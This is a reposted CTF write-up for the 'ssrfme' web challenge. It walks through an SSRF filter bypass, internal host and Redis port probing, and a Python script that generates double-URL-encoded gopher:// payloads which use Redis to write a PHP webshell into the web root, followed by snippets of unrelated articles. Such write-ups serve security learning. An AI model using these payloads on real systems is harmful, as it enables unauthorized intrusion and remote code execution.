长亭2月公开赛Web-ssrfme

环境部署

拉取环境报错:

可以尝试拉取一下ubuntu:16.04,看是否能拉取成功

将wersion:"3"删掉

我拉去成功之后,再去拉取环境,成功!

访问环境

测试ssrf

源码

<?php
highlight_file(__file__);
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
​
if(isset($_GET['url'])){$url = $_GET['url'];
​if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){
​die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?> 
虽然这里存在ssrf,但是我们可以看见源码将file、dict、127.0.0.1、localhost都给过滤了,所以我们只能尝试使用http协议进行内网主机存活探测,这里可以从phpinfo里面看到当前内网主机IP地址。

探测主机

然后我们就可测试一下,当前网段下有哪些IP地址的主机是存活状态,可以使用bp,也可以手动测试

这里看到当检测到172.19.0.2时,网页返回了一个go away1,这台主机是这个网段正在运行的一台主机,并且也在运行http协议

扫描端口

接下来用bp扫描一下这台主机的端口,但redis服务的端口是否打开

出现了这个报错-ERR wrong number of arguments for 'get' command 1

这个是redis命令执行错误,表示在还用get命令时传递的参数数量不正确

那这就说明这台主机的redis服务正在运行,那这里我们就有思路啦,既有ssrf,也有redis,emmmm

扩展知识-redis命令

redis未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。

但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用bp扫一下都有哪些目录

????

在redis容器里面看到了upload文件

编写脚本生成payload

python代码编写

from urllib.parse import quote
protocol="gopher://"
ip="172.19.0.2"    # 运行着redis的内网主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"
​
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmd
​
if __name__=="__main__":payload = ""for x in cmd:payload += quote(redis_format(x))print(payload)

输出

gopher://172.19.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%0D%0A%241%0D%0A1%0D%0A%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%243%0D%0Adir%0D%0A%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%2410%0D%0Adbfilename%0D%0A%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

可以使用工具Gopherus

下载Gopherus:https://github.com/tarunkant/Gopherus

二次编码

再将payload进行url编码

这里我遇到一个问题,一直上传不成功,去查看了一下资料,终于知道为什么,因为我上传的前面这个url前面://并没有url编码,因为我们在浏览器发送payload的时候浏览器会进行一次解码,然后到了redis又会进行一次解码,所以我才会进行一次二次编码,终于懂了emmmmm

gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25241%250D%250A1%250D%250A%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25243%250D%250Adir%250D%250A%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%252410%250D%250Adbfilename%250D%250A%250D%250A%25247%250D%250Aweb.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

读取flag

gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/76157.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3506+net9+VS2022跨平台调试C#程序

下载GetVsDbg.sh &#xff0c;这脚本会下载一个压缩包&#xff0c;然后解压缩&#xff0c;设置x权限等等。但是目标板子连不上&#xff0c;就想办法获取到下载路径&#xff0c;修改这个脚本&#xff0c;显示这个下载链接后&#xff0c;复制一下&#xff0c;用电脑下下来 修改好…

MySQL GTID集合运算函数总结

MySQL GTID 有一些运算函数可以帮助我们在运维工作中提高运维效率。 1 GTID内置函数 MySQL 包含GTID_SUBSET、GTID_SUBTRACT、WAIT_FOR_EXECUTED_GTID_SET、WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS 4个内置函数&#xff0c;用于GTID集合的基本运算。 1.1 GTID_SUBSET(set1,set2) …

Java学习手册:Java内存模型

Java内存模型&#xff08;Java Memory Model&#xff0c;简称JMM&#xff09;是Java语言中用于定义线程之间如何共享和操作内存的规范。它描述了Java程序中变量的内存可见性行为&#xff0c;并定义了线程之间的通信规则。理解Java内存模型对于编写正确的并发程序至关重要。本文…

神经网络优化 - 高维变量的非凸优化

网络优化是指寻找一个神经网络模型来使得经验(或结构)风险最小化的过程&#xff0c;包括模型选择以及参数学习等。 关于经验风险最小化和结构风险最小化&#xff0c;请参考博文&#xff1a; 认识机器学习中的经验风险最小化准则_样本均值近似与经验风险最小化的关系-CSDN博客…

Python自学第2天:条件语句,循环语句

条件语句 1.条件判断 score 60 if score > 90:print("优秀") elif score > 60:print("及格") else:print("不及格") 注意&#xff1a; 1、每个条件后面要使用冒号 :&#xff0c;表示接下来是满足条件后要执行的语句块。2、使用缩进来划…

C# dll 打包进exe

Framework4.x推荐使用 Costura.Fody 1. 安装 NuGet 包 Install-Package Costura.Fody工程自动生成packages文件夹&#xff0c;300M左右。生成FodyWeavers.xml、FodyWeavers.xsd文件。 2. 自动嵌入 编译后&#xff0c;所有依赖的 DLL 会被自动嵌入到 EXE 中。 运行时自动解压…

Redis之缓存更新策略

缓存更新策略 文章目录 缓存更新策略一、策略对比二、常见的缓存更新策略三、如何选择策略四、实际应用示例五、使用 Cache-Aside TTL 的方式&#xff0c;实现缓存商铺信息详情1.引入StringRedisTemplate2.将查询商铺信息加入缓存3.更新商铺信息时移除缓存总结 六、注意事项 一…

【工具变量】各地级市人口集聚及多中心程度数据集(2000-2023年)

多中心程度描述的是一个城市或区域内多个功能性中心的存在和分布情况&#xff1b;人口集聚度是指一定区域内人口的集中程度&#xff0c;它反映了区域内人口分布的不均衡性&#xff0c;这两个概念相互关联&#xff0c;通过分析地级市的多中心程度及人口集聚度可以帮助研究者理解…

函数对象-C++

1.定义 2.特点 、 1.解释第一句 #include<stdio.h> using namespace std; #include<string> #include<map> #include <iostream> class print { public:void operator()(string s){cout << s << endl;} }; int main() {print print;pri…

Apifox下载安装与使用

一、Apifox下载 官网地址:Apifox 点击"免费下载",即可进行下载。 二、Apifox安装 双击安装文件即可安装。

Python与图像处理:从基础操作到智能应用的全面解析

目录 一、Python图像处理的三大核心优势 1.1 生态库矩阵支撑 1.2 开发效率革命 1.3 跨领域协同能力 二、六大核心处理技术详解 2.1 图像基础操作 2.2 图像增强技术 2.3 特征提取算法 2.4 目标检测技术 2.5 图像分割技术 2.6 图像生成技术 三、实战案例&#xff1a;智…

双 Token 与 单 Token 优缺点

双Token与单Token认证机制对比 在Web应用开发中&#xff0c;身份认证和授权是保障系统安全的核心环节。随着技术演进&#xff0c;基于Token的认证机制逐渐取代传统Session方案&#xff0c;而双Token与单Token架构的选型争议也日益成为开发者关注的焦点。本文将从技术原理、优缺…

Spring Boot管理Spring MVC

Spring Boot真正的核心功能是自动配置和快速整合&#xff0c;通常Spring Boot应用的前端MVC框架依然使用Spring MVC。Spring Boot提供的spring-boot-starter-web启动器嵌入了Spring MVC的依赖&#xff0c;并为Spring MVC提供了大量自动配置&#xff0c;可以适用于大多数Web开发…

1.凸包、极点、极边基础概念

目录 1.凸包 2.调色问题 3.极性(Extrem) 4.凸组合(Convex Combination) 5.问题转化(Strategy)​编辑 6.In-Triangle test 7.To-Left-test 8.极边&#xff08;Extream Edges&#xff09; 1.凸包 凸包就是上面蓝色皮筋围出来的范围 这些钉子可以转换到坐标轴中&#xff0…

《如何用 Function 实现动态配置驱动的处理器注册机制?》

大家好呀&#xff01;&#x1f44b; 今天我们来聊聊一个超实用的技术话题 - 如何用Java的Function接口实现动态配置驱动的处理器注册机制。听起来很高大上&#xff1f;别担心&#xff0c;我会用最简单的方式讲清楚&#xff01;&#x1f60a; 一、为什么要用Function实现处理器…

【最新版】芸众商城独立版源码 425+插件 全新后台框架

一.系统介绍 芸众商城系统最新版 已经更新425全插件版&#xff0c;一套系统支持各种新零售、商城、模式&#xff0c;天天美丽链动商城。不要相信那些外面的旧版本。旧版本等于是废品&#xff0c;无法小程序运营的&#xff0c;框架还是旧的&#xff01; 芸众系统最新版 服务器可…

java 设计模式之单例模式

简介 单例模式&#xff1a;一个类有且仅有一个实例&#xff0c;该类负责创建自己的对象&#xff0c;同时确保只有一个对象被创建。 特点&#xff1a;类构造器私有、持有自己实例、对外提供获取实例的静态方法。 单例模式的实现方式 饿汉式 类被加载时&#xff0c;就会实例…

Milvus 索引如何选择

以下是几种索引类型的特点及适用场景&#xff0c;可据此选择&#xff1a; AUTOINDEX 特点&#xff1a;数据库自动选择合适索引类型&#xff0c;无需深入了解索引细节。适用场景&#xff1a;对索引知识了解有限&#xff0c;或不确定哪种索引适合当前数据和查询需求&#xff0c…

CentOS 7 安装教程

准备&#xff1a; 软件&#xff1a;VMware Workstation 镜像文件&#xff1a;CentOS-7-x86_64-bin-DVD1.iso &#xff08;附&#xff1a;教程较为详细&#xff0c;注释较多&#xff0c;故将操作的选项进行了加粗字体显示。&#xff09; 1、文件–新建虚拟机–自定义 2、硬盘…

TAS启动与卸载

3. 启动TAS&#xff08;Thin-Agent服务&#xff09; TAS在安装完成后通常会自动启动&#xff0c;并在系统重启时自启。如需手动启动&#xff0c;请按以下步骤操作&#xff1a; &#xfffc; 3.1 在Windows上启动TAS 1. 打开 Windows服务管理器&#xff1a; ◦ 按下 Win R&…